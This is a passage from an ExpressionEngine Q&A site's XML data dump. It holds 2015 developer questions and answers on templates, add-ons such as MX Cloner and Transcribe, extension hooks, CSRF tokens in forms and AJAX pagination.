it may have been an issue with my local version. Again it just would not create correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My final attempt to remedy this issue was to compare previous installs of expression engine all of which still work fine and will create template groups when I add new ones. No difference and again I could see no problem with my settings from site to site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All versions of expression engine are 2.9.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could shed any light on how this could be happening and how I can remedy this issue I would be most appreciative as it has put my dev on hold as I need that new template group to continue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5035" LastActivityDate="2015-03-17T09:28:35.643" Title="Unable to create Template group within template manager" Tags="|templates|template-manager|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30566" PostTypeId="2" ParentId="30562" CreationDate="2015-03-17T09:33:17.883" Score="1" Body="&lt;p&gt;I've had very odd problems with grids and total_rows, especially if you have multiple grid fields in the template with multiple conditionals throughout checking for total_rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried numerous conditionals to get round the problem and oddly, something that would be working, suddenly stopped when adding another conditional in the template, which must be related to an EE conditional bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What seems to work consistently is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if mygrid:total_rows &amp;gt; 0}...{if:else}...{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another technique albeit clunky:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{mygrid limit=1}has content{/mygrid}&quot; != &quot;&quot;}...{if:else}...{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you still have issues, check other conditionals in the template.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-03-17T09:33:17.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30567" PostTypeId="1" CreationDate="2015-03-17T11:04:46.457" Score="1" ViewCount="76" Body="&lt;p&gt;MX Cloner running on EE 2.9.2 with Zenbu installed (also running Zenbu MX Cloner support extension)&#xA;When we select the clone option the site gives us a 404 page with the following structure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.domain.com/undefined&amp;amp;clone=y&amp;amp;use_autosave=n&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've got this installed on another 2.9.2 site (also running Zenbu) and it's working fine - any ideas about where to look to resolve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've uninstalled and reinstalled both cloner extensions to no avail&lt;/p&gt;&#xA;" OwnerUserId="3835" LastActivityDate="2015-09-06T22:02:18.663" Title="MX Cloner : Clone results in undefined URL (404)" Tags="|mx-cloner|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30569" PostTypeId="2" ParentId="30563" CreationDate="2015-03-17T13:26:29.557" Score="1" Body="&lt;p&gt;Your data source needs to be a template you've created inside EE, it needs to be set as an XML template type, and it needs to know what entry to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So following your example, create a template group called &lt;code&gt;data&lt;/code&gt;, then inside that template group create a template also called &lt;code&gt;data&lt;/code&gt;, and use the template code you posted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you could use &lt;code&gt;data/data/{entry_id}&lt;/code&gt; as the value for the &lt;code&gt;newurl&lt;/code&gt; variable in your javascript.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-03-17T13:26:29.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30571" PostTypeId="1" CreationDate="2015-03-17T15:46:57.773" Score="1" ViewCount="36" Body="&lt;p&gt;I am having trouble with getting the coupon to work properly. According to &lt;a href=&quot;http://www.membrr.com/docs&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt; all I had to do was add a blank field with the name of coupon but it isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I test with a real coupon code it still charges full price. I have tried testing with an incorrect coupon code. Both times the form doesn't throw any errors and charges full price.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a testing gateway to submit the form with the coupon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can confirm: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The name and id on the blank text field is correct.&lt;/li&gt;&#xA;&lt;li&gt;It is inside of the membrr form tag.&lt;/li&gt;&#xA;&lt;li&gt;The coupon was created correctly in OpenGateway.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Would love any insight to why the coupon is being ignored. We just need the coupon to work for now until we can migrate the client to a new addon.&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2015-03-17T15:46:57.773" Title="Membrr: Coupon being ignored" Tags="|membrr|coupon-code|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30572" PostTypeId="1" AcceptedAnswerId="30574" CreationDate="2015-03-17T16:19:16.927" Score="0" ViewCount="94" Body="&lt;p&gt;Is there a hook that could be used to check what status was before submission, and what status is submitted (changed to) whilst editing an entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to check to see if a status is changed to 'x2' from 'x1' for example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-03-17T17:44:34.263" Title="Hook for when status is updated" Tags="|module|hook|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30573" PostTypeId="2" ParentId="6156" CreationDate="2015-03-17T16:49:34.543" Score="-1" Body="&lt;p&gt;No cookies needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I do is to redirect the homepage to the relevent language section of my site based on &lt;strong&gt;HTTP_ACCEPT_LANGUAGE&lt;/strong&gt; only if the visitor is coming from a link external to my site or by typing the domain directly in the browser. I determine this by using &lt;strong&gt;HTTP_HOST&lt;/strong&gt; and &lt;strong&gt;HTTP_REFERER&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if he arrives externally on the homepage (english) with an italian browser he gets redirected to the italian section of my site. If he then clicks on the &quot;english&quot; link on that page he get's to see the &quot;english&quot; homepage without being redirected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the ASP code I use. It should be quite readable and easy to port into other programming languages.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;strHTTP_HOST = request.servervariables(&quot;HTTP_HOST&quot;)&#xA;strHTTP_REFERER = request.servervariables(&quot;HTTP_REFERER&quot;)&#xA;strHTTP_ACCEPT_LANGUAGE = left(request.servervariables(&quot;HTTP_ACCEPT_LANGUAGE&quot;)&amp;amp;&quot;&quot;,2)&#xA;&#xA;If (GetDomainName(strHTTP_REFERER) &amp;lt;&amp;gt; GetDomainName(strHTTP_HOST)) And (strHTTP_ACCEPT_LANGUAGE=&quot;it&quot;) Then&#xA;  response.redirect &quot;index_it.asp&quot;&#xA;End If&#xA;&#xA;&#xA;Function GetDomainName(Domain)&#xA;&#xA;  z = Domain&#xA;  If z &amp;lt;&amp;gt; &quot;&quot; then&#xA;    If InStr(z, &quot;//&quot;) &amp;lt;&amp;gt; 0 Then ' take of http:// or http:// etc.&#xA;      z = Right(z, Len(z) - InStr(z, &quot;//&quot;) - 1)&#xA;    End If&#xA;    If InStr(z, &quot;/&quot;) &amp;lt;&amp;gt; 0 Then ' strip off paths&#xA;      z = Left(z, InStr(z, &quot;/&quot;) - 1)&#xA;    End If&#xA;    If InStr(z, &quot;.&quot;) &amp;lt;&amp;gt; InStrRev(z, &quot;.&quot;) &amp;lt;&amp;gt; 0 Then          ' get 2nd leveldomain&#xA;      z = Right(z, Len(z) - InStrRev(z, &quot;.&quot;, Len(z) - 4)) ' basically gets the location of the second point&#xA;    End If                          ' assumes that domain is at keast 2 chars !&#xA;  End If&#xA;    GetDomainName = z&#xA;&#xA;End Function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6141" LastActivityDate="2015-03-17T16:49:34.543" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30574" PostTypeId="2" ParentId="30572" CreationDate="2015-03-17T17:10:00.053" Score="2" Body="&lt;p&gt;I would use the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;entry_submission_ready&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;extension hook, and write a mini-extension that looks at the meta array in the api for the entry status value, and compares it to the previous value for that entry (if it exists). Quick example hook function that could work for your situation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function entry_submission_ready_my_hook($meta, $data, $autosave)&#xA;{&#xA;    // get entry_status and entry_id if it exists&#xA;    $new_status = $meta['status'];&#xA;    $entry_id = $data['entry_id'];&#xA;&#xA;    // check if the entry exists&#xA;    $entry = ee()-&amp;gt;db-&amp;gt;select('status')&#xA;                 -&amp;gt;from('channel_titles')&#xA;                 -&amp;gt;where('entry_id', $entry_id)&#xA;                 -&amp;gt;get();&#xA;&#xA;    // do we have an entry and is it's status different?&#xA;    if ( ( $entry-&amp;gt;num_rows() &amp;gt; 0 ) &amp;amp;&amp;amp;&#xA;         ( $entry-&amp;gt;status !== $new_status ) ) &#xA;    {&#xA;        // we have different entry status! do stuff here!&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code is completely untested, but that's the idea and &lt;em&gt;should&lt;/em&gt; work just fine for your needs.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-03-17T17:44:34.263" LastActivityDate="2015-03-17T17:44:34.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30575" PostTypeId="2" ParentId="30559" CreationDate="2015-03-17T17:59:04.823" Score="2" Body="&lt;p&gt;You can't have a exp:channel:entries tag inside itself, from your comment above it looks like you're using relationships. You should be using the appropriate tags to pull in the related entries. Replace relationship_field with your actual relationship field_name&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;aop&quot; disable=&quot;pagination|categories|member_data&quot; dynamic=&quot;no&quot;}&#xA;&amp;lt;li&amp;gt;&#xA;    &amp;lt;a href=&quot;{url_title_path='practice_area/index'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        {relationship_field}&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;{relationship_field:url_title_path='practice_area/practice_dangers'}&quot;&amp;gt;&#xA;                {relationship_field:title}&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        {/relationship_field}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can read more about relationships &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-03-17T17:59:04.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30576" PostTypeId="2" ParentId="19915" CreationDate="2015-03-17T21:09:51.453" Score="3" Body="&lt;p&gt;I received the form expired error message using Freeform 4.2.2 and EE 2.9.2. I added this to config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['disable_csrf_protection'] = &quot;y&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The form submitted, but I really didn't want to leave that setting there. I did a little more digging and found that I needed to add a &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#csrf-tokens-in-templates&quot; rel=&quot;nofollow&quot;&gt;CSRF Token&lt;/a&gt; to my form. So I added this hidden input within my freeform tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{csrf_token}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was then able to delete the config change above and the form submitted successfully.&lt;/p&gt;&#xA;" OwnerUserId="2223" LastActivityDate="2015-03-17T21:09:51.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30578" PostTypeId="1" AcceptedAnswerId="30597" CreationDate="2015-03-17T23:18:39.920" Score="1" ViewCount="318" Body="&lt;p&gt;It's my first time with EE and I'm modifying the template of an existing blog. It's multilingual so it uses code like &lt;code&gt;{exp:transcribe:replace name='written_by'}&lt;/code&gt; to display different texts, in this case, &lt;code&gt;Written by&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On some pages, for example on an article single, this line of code returns &lt;code&gt;Written by&lt;/code&gt; as it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, on some pages, for example on the index, it returns &lt;code&gt;M10O93H7PQ09L8X1T49CHY01Z5J4TT91FGFR&lt;/code&gt;... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample returned HTML code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;M00o93H7pQ09L8X1t49cHY01Z5j4TT91fGfrthe-real-url-appears-here&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;http://www.website.com/images/image.jpg&quot; /&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Article title&amp;lt;/h3&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&#xA;    M10o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr &amp;lt;a href=&quot;/author/jdoe&quot; class=&quot;author&quot;&amp;gt;Jhon Doe&amp;lt;/a&amp;gt;&#xA;    M20o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr &amp;lt;span&amp;gt;Feb 25, 2015&amp;lt;/span&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories show_empty=&quot;yes&quot; channel=&quot;my_channel&quot; id=&quot;categorylist&quot; category_group=&quot;11&quot; style=&quot;linear&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;{category_name}&amp;lt;/h1&amp;gt;&#xA;&#xA;    {exp:channel:entries channel=&quot;my_channel&quot; category=&quot;{category_id}&quot; limit=&quot;3&quot; paginate=&quot;bottom&quot;}&#xA;        &amp;lt;a href=&quot;{exp:transcribe:uri path='/article/'}{url_title}&quot;&amp;gt;&#xA;            {blog_post_main_image}&#xA;                &amp;lt;img src=&quot;{path}/{filename}.{extension}&quot; /&amp;gt;&#xA;            {/blog_post_main_image}&#xA;            &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;&#xA;            {exp:transcribe:replace name='written_by'} &amp;lt;a href=&quot;/author/{username}&quot; class=&quot;author&quot;&amp;gt;{author}&amp;lt;/a&amp;gt;&#xA;            {exp:transcribe:replace name='on_date'} &amp;lt;span&amp;gt;{entry_date format=&quot;%M %d, %Y&quot;}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why it does that? I tried to search a lot on Google and found nothing that could help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6142" LastEditorUserId="6142" LastEditDate="2015-03-18T14:41:05.373" LastActivityDate="2015-03-18T20:23:34.573" Title="Transcribe replace returning weird string" Tags="|templates|transcribe|multi-language|language|multilingual|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30579" PostTypeId="1" CreationDate="2015-03-18T07:03:07.870" Score="1" ViewCount="84" Body="&lt;p&gt;Is there a plugin that can do this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form custom_field=&quot;value&quot; channel=&quot;my_channel&quot;}{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason I'm doing this is so that nobody can view what are the values I'm sending when creating an entry using channel form. &lt;/p&gt;&#xA;" OwnerUserId="2671" LastActivityDate="2016-05-17T11:44:57.633" Title="Set custom field value inside channel form parameter" Tags="|safecracker|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30580" PostTypeId="2" ParentId="30554" CreationDate="2015-03-18T09:37:51.157" Score="0" Body="&lt;p&gt;Prob worth posting this question to the FireMail support forum on Devot-ee as I think that's where official support is provided for the module. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/support/firemail/viewforum/508&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/support/firemail/viewforum/508&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-03-18T09:37:51.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30581" PostTypeId="1" AcceptedAnswerId="30743" CreationDate="2015-03-18T10:08:55.453" Score="0" ViewCount="43" Body="&lt;p&gt;I am using structure in my current project and the interface is not displaying correctly. No files have been altered within the addon. Be&lt;img src=&quot;https://i.stack.imgur.com/e99oU.png&quot; alt=&quot;enter image description here&quot;&gt;low you can see how my interface looks. Any Idea what would be causing this?&lt;/p&gt;&#xA;" OwnerUserId="1916" LastActivityDate="2015-03-26T16:10:39.527" Title="Structure interface breaking" Tags="|ee2|structure|ee2-upgrades|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30582" PostTypeId="1" CreationDate="2015-03-18T10:37:24.697" Score="0" ViewCount="121" Body="&lt;p&gt;Is it possible to remove &quot;related videos&quot; when the video has finished playing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is possible when using the embed directly, just wondered if i could replicate it with channel videos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2016-05-28T14:11:36.397" Title="Channel Videos - Dev Demon" Tags="|devdemon|channel-videos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30583" PostTypeId="1" CreationDate="2015-03-18T10:51:08.513" Score="0" ViewCount="58" Body="&lt;p&gt;i've an error when Facebook Register returns on my website. this is the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The following errors were encountered&#xA;&#xA;This form has expired. Please refresh and try again.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The link in browser is like that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.url.com/?ACT=54&amp;amp;hash=205d1b74bc165cddc18fcd32d5e22434&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The request was sent by &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.url.com/site/register&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there some issue with the https?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys&lt;/p&gt;&#xA;" OwnerUserId="1047" LastActivityDate="2016-05-26T09:33:17.053" Title="Solspace Facebook Connect Register error when returns" Tags="|solspace|solspace-facebookconnect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30584" PostTypeId="2" ParentId="11572" CreationDate="2015-03-18T10:53:36.363" Score="0" Body="&lt;p&gt;No idea whether this is related to poster's case, but I had same problem on AWS EC2 server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution was to enable 'default' security group for the server instance in AWS management console.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-03-18T10:53:36.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30585" PostTypeId="2" ParentId="30583" CreationDate="2015-03-18T14:04:30.680" Score="0" Body="&lt;p&gt;Are you saying that you're using this on a secure page (HTTPS) and you're getting this error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's very important to know that Facebook has discontinued the Facebook Registration plugin and it will altogether stop working as of April 30, 2015.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developers.facebook.com/docs/plugins/registration/v1.0&quot; rel=&quot;nofollow&quot;&gt;https://developers.facebook.com/docs/plugins/registration/v1.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Registration Plugin is deprecated and will be removed on April 30,&#xA;  2015. You should not integrate this plugin into new apps. If you're using this plugin, you should replace it with Facebook Login before&#xA;  April 30, 2015&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Solspace Facebook connect still currently uses the old v1.0 Facebook API and sites that do not update before April 30, 2015 will lose all Facebook functionality. That said, we are finishing up a new version of Facebook Connect that will be released any day now and will be fully compatible with current version of Facebook (v2.2 API). However, as mentioned earlier, the Registration plugin will not work, due to Facebook discontinuing it. :)&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-03-18T14:04:30.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30586" PostTypeId="2" ParentId="30581" CreationDate="2015-03-18T14:52:14.847" Score="0" Body="&lt;p&gt;I am using the latest version. Not sure what the issue was exactly. Luckily enough it was quite earlier in the build. I uninstalled structured and then Installed again and it corrected the glitch. The interface would work correctly otherwise unfortunately. thanks :)&lt;/p&gt;&#xA;" OwnerUserId="1916" LastActivityDate="2015-03-18T14:52:14.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30587" PostTypeId="1" AcceptedAnswerId="30600" CreationDate="2015-03-18T15:06:08.173" Score="1" ViewCount="162" Body="&lt;p&gt;In Expression Engine, how would I go about retrieving the &lt;strong&gt;latest&lt;/strong&gt; 3 entries from a channel and then loop through the result set in reverse? I tried something like this to no avail :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;news_events&quot; limit=&quot;3&quot; orderby=&quot;entry_id|date&quot; sort=&quot;desc|asc&quot;}&lt;/p&gt;&#xA;" OwnerUserId="4976" LastActivityDate="2015-03-18T22:54:24.093" Title="Expression Engine Entries Loop in Reverse" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30588" PostTypeId="1" CreationDate="2015-03-18T15:27:52.523" Score="2" ViewCount="372" Body="&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect(BASE . AMP . 'C=addons_modules' . AMP . 'M=show_module_cp' . AMP . 'module=module_name_here' . '#tabsettings');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE v2.9.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to redirect the user after the person submits the form, then it fires off the redirect function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I append #tabsettings, it redirects me to the Admin CP login form. Here is the URL it directs me to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://project.dev/admin.php?/cp/login&amp;amp;return=Qz1hZGRvbnNfbW9kdWxlcyZhbXA7TT1zaG93X21vZHVsZV9jcCZhbXA7bW9kdWxlPWVlX3ZiX2ludGVncmF0aW9u#tabsettings&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I remove the #tabsettings, it will keep me within the module control panel, but I want it to load the settings view, which needs the #tabsettings to know which part of the view to load.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect(BASE . AMP . 'C=addons_modules' . AMP . 'M=show_module_cp' . AMP . 'module=module_name_here');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13" LastActivityDate="2018-08-07T18:05:47.943" Title="redirect in add-on module redirecting me to admin control panel login form with # appended in URL" Tags="|add-on|add-on-development|module|redirects|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30589" PostTypeId="1" CreationDate="2015-03-18T15:36:40.993" Score="0" ViewCount="143" Body="&lt;p&gt;I'm using the Members module and would like some users to enter just these fields to register: username, password, email address. But I'd like to collect that plus my custom member fields from other users who are using a different function of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a good way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm trying editing /themes/default/registration_form.html. I removed those useless &quot;AIM&quot; type fields, leaving me with username, password, email, custom fields loop. So I was thinking of wrapping a conditional around the custom fields that checks a URL segment, but passing an additional segment--e.g. members/register/add_custom_fields--is getting a 404 error. Maybe there's another way of passing some flag to tell the page whether to show the custom fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.7.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips are appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1327" LastEditorUserId="1327" LastEditDate="2015-03-20T13:24:49.780" LastActivityDate="2015-04-09T14:58:16.940" Title="Can I have show different member registration fields for some users?" Tags="|members|solspace-user|member-management|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30590" PostTypeId="1" AcceptedAnswerId="30592" CreationDate="2015-03-18T15:42:30.330" Score="4" ViewCount="1285" Body="&lt;p&gt;I'm trying to use &lt;a href=&quot;https://github.com/reusserdesign/ExpressionEngine-Ajax-Pagination&quot; rel=&quot;nofollow&quot;&gt;this script&lt;/a&gt; to AJAX load paginated entries in EE. There may be a far simpler way to do it though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script works, but replaces the current 10 entries with the next 10 entries, but instead I would like the next 10 entries to be appended to the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, clicking the Show More button should keep adding the next 10 '&lt;code&gt;&amp;lt;article&amp;gt;&lt;/code&gt;'s and then the Show More button should disappear once there are no more to show.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section id=&quot;articles&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;page&quot; sort=&quot;asc&quot; orderby=&quot;title&quot; limit=&quot;10&quot; paginate=&quot;bottom&quot; dynamic=&quot;no&quot;}&#xA;        &amp;lt;article&amp;gt;&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            {page_summary}&#xA;        &amp;lt;/article&amp;gt;&#xA;        {paginate}&#xA;            {pagination_links}&#xA;                &amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;                    {next_page}&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;Show More&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    {/next_page}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            {/pagination_links}&#xA;        {/paginate}&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/section&amp;gt;&#xA;&amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;(function(a) {&#xA;    a.fn.pager = function(b) {&#xA;        var d = &quot;#&quot; + a(this).attr(&quot;id&quot;);&#xA;        var c = {&#xA;            link: &quot;.pagination a&quot;,&#xA;            pull: d + &quot; &amp;gt; *&quot;,&#xA;            loaderID: &quot;loader&quot;,&#xA;            scrollTo: &quot;body&quot;,&#xA;            fadeSpeed: 100,&#xA;            fadeOpacity: 0.5&#xA;        };&#xA;        var b = a.extend(c, b);&#xA;        a(b.link).live(&quot;click&quot;, function(g) {&#xA;            g.preventDefault();&#xA;            var f = a(this).attr(&quot;href&quot;);&#xA;            a(d, function() {&#xA;                a(d).fadeTo(b.fadeSpeed, b.fadeOpacity);&#xA;                a(d).after('&amp;lt;i id=&quot;' + b.loaderID + '&quot; style=&quot;display: none;&quot;&amp;gt;&amp;lt;/i&amp;gt;');&#xA;                a(&quot;#&quot; + b.loaderID).fadeIn(b.fadeSpeed)&#xA;            }).load(f + &quot; &quot; + b.pull, function() {&#xA;                a(d).fadeTo(b.fadeSpeed, 1);&#xA;                a(window).scrollTop(a(b.scrollTo).position().top);&#xA;                a(&quot;#&quot; + b.loaderID).fadeOut(b.fadeSpeed, function() {&#xA;                    a(&quot;#&quot; + b.loaderID).remove()&#xA;                })&#xA;            })&#xA;        })&#xA;    }&#xA;})(jQuery);&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;$(document).ready(function() {&#xA;    $('#articles').pager();&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wondered if anyone might be able to point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="466" 